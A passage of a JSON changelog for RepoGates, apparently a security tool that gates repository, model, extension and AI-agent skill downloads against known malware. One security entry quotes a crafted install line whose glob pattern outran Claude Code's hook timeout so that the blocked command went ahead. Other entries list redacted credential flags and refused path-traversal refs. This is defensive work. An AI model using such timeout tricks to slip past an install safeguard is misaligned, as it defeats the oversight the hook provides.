  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "added",
  "text": "The security ticker on every board carries a WATCHING line naming six platforms — GitHub, Hugging Face, VS Code Marketplace, Docker Desktop, GitLab and AI-agent skills — with the campaigns active on each, \"quiet\" stated when there are none, and a link to that platform's intelligence page. The…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "added",
  "text": "The cross-host \"Contagious Interview\" recruiter-lure campaign joins the ticker (GitHub, GitLab and Bitbucket lures; the payload is off-platform).",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "changed",
  "text": "Store title and summary: \"RepoGates — GitHub Repo Security & Download Gate\"; \"Is this GitHub repo safe? 22 published checks, a gate on the download, known malware blocked for good. Hugging Face and GitLab too.\"",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "changed",
  "text": "Privacy notice version 4 (one notice for versions 3 and 4: Hugging Face and gitlab.com), shown once after install or update; PRIVACY.md v4.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "added",
  "text": "gitlab.com: the trust board on a project page (the 22 checks; what gitlab.com's API withholds from an anonymous caller — fork status, a user namespace's age, OpenSSF Scorecard — is listed as not checked, never assumed) and the download gate on the Download button's archive, raw files, release…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "changed",
  "text": "Ticker campaign titles carry their marketplace when the page is another (GlassWorm on Open VSX reads \"VS Code Marketplace: …\" on a GitHub page).",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "fixed",
  "text": "Hugging Face score requests routed to “/v1/hf/score” (a 0.6.0 defect).",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "changed",
  "text": "The options page no longer describes itself as GitHub-only.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "changed",
  "text": "The privacy policy names the sub-processors and carries the Limited Use disclosure Chrome's policy requires (the 13 September refusal).",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "added",
  "text": "huggingface.co: the trust board on a model, dataset or Space page — 18 checks covering the Hub's own malware and pickle-import scans, pickle-only weights, custom code loaded on import, dataset and Space risks — and the download gate on a weight file fetched through the browser. New host…",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "added",
  "text": "The four dimension verdicts on the board — open in an editor, clone, install and run, hand to an AI agent — each naming which checks fired and which could not run, as the server sends them.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "added",
  "text": "The delta since the previous assessment beside the score (\"down 6 since 3 Sep\") and which checks newly fired or cleared; assessments kept 180 days.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.8.3",
  "date": "2026-09-26",
  "section": "fixed",
  "text": "The board no longer says the check that blocked a download (C22, AI-agent provenance) had not run.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.3",
  "date": "2026-09-24",
  "section": "fixed",
  "text": "The link on every deny and ask now goes to a page that exists: https://repogates.com/docs/how-decisions-are-made.html. It used to be “report.html?repo=<key>”, and “report.html” opens a deep scan by “?scan=<id>” and ignores “repo” — every reader who clicked it since the first release landed on \"No…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.3",
  "date": "2026-09-24",
  "section": "fixed",
  "text": "The key in the deep-scan hint is no longer cut short. The hook took the first “word/word” anywhere in the reason, so a platform key lost everything after its second segment: “vsx/malkolm/theme-artschool-remake” became “vsx/malkolm”, and “dde/library/nginx” became “dde/library” — the GitHub owner…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.3",
  "date": "2026-09-24",
  "section": "changed",
  "text": "The hint is offered only where it leads somewhere: a REVIEW on a “owner/repo” GitHub key, which is what “/repogates:scan” takes. A VS Code extension, a Hugging Face model, a GitLab project, a skill and a Docker Desktop extension no longer get a hint that names a command that would refuse them.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.3",
  "date": "2026-09-24",
  "section": "fixed",
  "text": "A long reason no longer eats the tail of the message: what the hook adds after the server's reason (what to do, the hint, the link) is inside the cap now, not past it.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.2",
  "date": "2026-09-24",
  "section": "security",
  "text": "The preflight hook no longer expands globs. A line such as “npm i x # /*/*/*/*/*/*” spent more than 20 s globbing the filesystem, past Claude Code's 15 s kill, after which the tool proceeds. The request timeout is also capped at 5 s (connect 3 s) whatever “REPOGATES_TIMEOUT” says.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.2",
  "date": "2026-09-24",
  "section": "security",
  "text": "The token is sent only to RepoGates. “REPOGATES_API_BASE” must be https on repogates.com or a subdomain (or http to 127.0.0.1/localhost for development); anything else is an ask, with nothing sent. A project's “.claude/settings.json” can set that variable.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.2",
  "date": "2026-09-24",
  "section": "security",
  "text": "The token reaches curl on stdin (“-K -”), never on its command line, where the process list showed it.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.2",
  "date": "2026-09-24",
  "section": "security",
  "text": "“/repogates:scan” refuses a ref that walks a path (“..”, “//”, a leading “/” or “.”).",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.2",
  "date": "2026-09-24",
  "section": "security",
  "text": "“/repogates:checkup” runs “repogates-checkup” 0.1.1, which redacts credential headers (“-H \"Authorization: Bearer …\"”), flags named like a credential (“--access-token”, “--client-secret”, “--api_key”) and Bearer tokens anywhere, and skips a plugin file that is a device or FIFO instead of reading…",
  "pr": null,
  "rg": null
 },
 {
  "product": "cli",
  "version": "0.1.1",
  "date": "2026-09-24",
  "section": "security",
  "text": "Credential headers, flags named like a credential and Bearer tokens anywhere on a launch line are redacted before anything is sent.",
  "pr": 248,
  "rg": null
 },
 {
  "product": "cli",
  "version": "0.1.1",
  "date": "2026-09-24",
  "section": "fixed",
  "text": "A plugin file that is a device or a FIFO is skipped instead of read forever.",
  "pr": 248,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.1",
  "date": "2026-09-22",
  "section": "added",
  "text": "“/repogates:scan” prices a deep scan before it starts: “scan.sh --quote” reads “POST /v1/deepscan/quote” (the size it is priced on, the credits it would spend, the account's balance), the command asks with that price, and “scan.sh --accept N” starts it for at most N credits. A scan costs one to…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.1",
  "date": "2026-09-22",
  "section": "added",
  "text": "New refusals read: “confirm_credits” (the price changed — quote and ask again), “insufficient_credits”, “fair_use” (with its reset date).",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.1",
  "date": "2026-09-22",
  "section": "changed",
  "text": "The hook's ask on a REVIEW says \"one to three scan credits by size\".",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.0",
  "date": "2026-09-21",
  "section": "added",
  "text": "“/repogates:checkup” (K2c): the agent check-up. The command runs the “repogates-checkup” CLI from the wheel repogates.com serves (“uvx --from https://repogates.com/cli/repogates_checkup-0.1.0-py3-none-any.whl repogates-checkup --json”, its sha256 beside it; a test pins the version to…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.0",
  "date": "2026-09-21",
  "section": "added",
  "text": "The MCP server gains “last_checkup()” - the eleventh tool, read-only: the account's most recent check-up as stored, identifiers and verdicts only, with the fixes from the served rule set. No MCP tool reads the machine.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.0",
  "date": "2026-09-21",
  "section": "changed",
  "text": "The vetting skill says where to look at what is already installed.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.9.0",
  "date": "2026-09-21",
  "section": "changed",
  "text": "The served rule set is version 2: “api.repogates.com” and “mcp.repogates.com” are known MCP hosts.",
  "pr": null,
  "rg": null
 },
 {
  "product": "cli",
  "version": "0.1.0",
  "date": "2026-09-21",
  "section": "added",
  "text": "The agent check-up: a read-only inventory of what an AI-agent installation already has — plugins and their marketplaces, skills, commands and subagents, MCP servers, hooks, permission rules, instruction files — scored by RepoGates. It sends RepoGates identifiers, never contents. Served as a wheel…",
  "pr": 193,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.8.0",
  "date": "2026-09-20",
  "section": "added",
  "text": "AI-agent skills and Claude Code plugins (K1-3): the hook's fast path now recognises the skills CLI (“npx skills add owner/repo”, also “use” and “install”, “bunx”/“pnpx”, “owner/repo/skills/name” for one skill directory, a github.com “/tree/<ref>/<skill dir>” URL, a skills.sh listing), Claude…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.8.0",
  "date": "2026-09-20",
  "section": "changed",
  "text": "Behaviour change: “npx skills add owner/repo” used to resolve the npm package “skills” (the CLI itself) and never its target; it now resolves the target. “npx skills” alone, and “npx skills list”, still resolve the package.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.7.2",
  "date": "2026-09-20",
  "section": "changed",
  "text": "The vetting skill says what “active_campaigns” now returns: beside the active campaigns, which of GitHub, Hugging Face, VS Code Marketplace, Docker Desktop and GitLab has one and which is quiet. The hook is unchanged.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.7.1",
  "date": "2026-09-20",
  "section": "changed",
  "text": "“/repogates:setup” states the hook's coverage as it is: the GitHub verbs, a gitlab.com project, a Hugging Face model, dataset or Space, a VS Code Marketplace extension and a Docker Desktop extension, with what none of them sees. The paragraph had named GitHub only since 0.3.0 while the hook grew…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.7.0",
  "date": "2026-09-19",
  "section": "added",
  "text": "GitLab (G-2): a “git clone” of a gitlab.com project — https, ssh or “git@gitlab.com:group/sub/project.git”, subgroups included — a “pip install git+https://gitlab.com/…”, “go get gitlab.com/…”, npm's “gitlab:owner/repo” shorthand, “glab repo clone”, and any gitlab.com URL the line names (the…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.6.0",
  "date": "2026-09-18",
  "section": "added",
  "text": "Docker Desktop extensions (D2): the hook's fast path now recognises “docker extension install owner/name[:tag]” and “docker extension update”, the Hub's extension pages (“hub.docker.com/extensions/…”) and Docker Desktop's own marketplace deep link…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.6.0",
  "date": "2026-09-18",
  "section": "changed",
  "text": "The repogates-vetting skill gains the Docker Desktop paragraph: the “dde” platform argument on “check_repo”/“assert_allowed”, Hub extension pages in “check_download_url”, and the marketplace-tab scope sentence.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.5.0",
  "date": "2026-09-18",
  "section": "added",
  "text": "VS Code Marketplace (V3): the hook's fast path now recognises the one shell verb that installs an extension — “code --install-extension publisher.extension” (also “cursor”, “windsurf”, “codium”, “--install-extension=id”, an “@version” suffix) — and any marketplace.visualstudio.com listing URL, and…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.5.0",
  "date": "2026-09-18",
  "section": "changed",
  "text": "The repogates-vetting skill covers the Marketplace: the “vsx” platform argument on “check_repo”/“assert_allowed”, listing URLs in “check_download_url”, the “source” field, and the editor-UI scope sentence.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.4.0",
  "date": "2026-09-11",
  "section": "added",
  "text": "Hugging Face (HF-2): the hook's fast path now recognises Hub lines — any huggingface.co / hf.co URL, “hf download” and “huggingface-cli download” (with “--repo-type”), “huggingface-cli repo clone”, and “git lfs clone” — and sends them to the same preflight, which assesses the model, dataset or…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.4.0",
  "date": "2026-09-11",
  "section": "changed",
  "text": "The repogates-vetting skill covers the Hub: platform argument on “check_repo”/“assert_allowed”, Hub URLs in “check_download_url”, the CDN-link limitation, and the “from_pretrained” scope sentence.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.3.1",
  "date": "2026-09-09",
  "section": "changed",
  "text": "Distributed from repogates.com and nowhere else. Install with “/plugin marketplace add https://repogates.com/plugin/marketplace.json”, then “/plugin install repogates@repogates”. The marketplace file pins the zip's URL and sha256, so what installs is exactly what was built; an update is a new…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.3.0",
  "date": "2026-09-07",
  "section": "added",
  "text": "A package named on the line — “npm install express”, “pip install flask”, “npx create-vite”, “yarn add”, “uv add” — is resolved through its registry (npm, PyPI) to the source repository it declares, and that repository is assessed like any other. A package that declares none is allowed with a…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.3.0",
  "date": "2026-09-07",
  "section": "changed",
  "text": "The hook now sends such lines; “npm install”, “npm ci” and “pip install -r requirements.txt” still never leave the machine.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.3.0",
  "date": "2026-09-07",
  "section": "changed",
  "text": "A preflight entry says why each check that did not run did not run (“not_checked_why”), so \"C22 not checked\" no longer reads as a defect: no API call carries the browser signal that check needs.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.3.0",
  "date": "2026-09-07",
  "section": "changed",
  "text": "The hook decides on your policy profile's action, as the browser extension always has, not on the raw verdict: a devcontainer (CRIT, and BLOCK by severity) is a warning under every shipped profile, so “pip install flask” now asks instead of refusing. Entries carry “action” and “drivers” beside…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.2.0",
  "date": "2026-09-07",
  "section": "added",
  "text": "“/repogates:scan owner/repo” — a deep scan of the repository's files before cloning or installing (malware, secrets, dependencies, behaviour, in an isolated sandbox). Spends one scan credit; the command asks first. The hook's \"ask\" now suggests it on a REVIEW.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.2.0",
  "date": "2026-09-07",
  "section": "added",
  "text": "The MCP server gains “deep_scan” and “deep_scan_status” for the same step in Claude.ai and Cowork; “preflight” entries name the checks that did not run.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.1.0",
  "date": "2026-09-06",
  "section": "added",
  "text": "PreToolUse hook on Bash: refuses a command line that names a repository RepoGates blocks or lists in an active malware campaign; asks on REVIEW, unassessable, unresolvable, capped or pending; on PASS adds a one-line note and leaves Claude Code's own permission prompt in force. Every failure of the…",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.1.0",
  "date": "2026-09-06",
  "section": "added",
  "text": "“.mcp.json” adds the RepoGates MCP server (seven read-only tools, including “preflight”).",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.1.0",
  "date": "2026-09-06",
  "section": "added",
  "text": "“repogates-vetting” skill: ask first, explain a refusal, never route around one.",
  "pr": null,
  "rg": null
 },
 {
  "product": "plugin",
  "version": "0.1.0",
  "date": "2026-09-06",
  "section": "added",
  "text": "“/repogates:setup” checks the token and exercises the hook against the known-blocked canary repository.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.4.6",
  "date": "2026-09-03",
  "section": "added",
  "text": "The board says which account the extension is spending from.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.4.6",
  "date": "2026-09-03",
  "section": "fixed",
  "text": "The deep-scan option survives a service-worker restart; the scan shows its progress by finished steps, says when it is done and links the report.",
  "pr": null,
  "rg": null
 },
 {
  "product": "extension",
  "version": "0.4.6",
  "date": "2026-09-03",
  "section": "fixed",
  "text": "A repository nobody could check has no score (not 100); no green 100 on GitHub advisory pages; the advisory feed names repositories, not packages.",
  "pr": null,
  "rg": null
 }
]
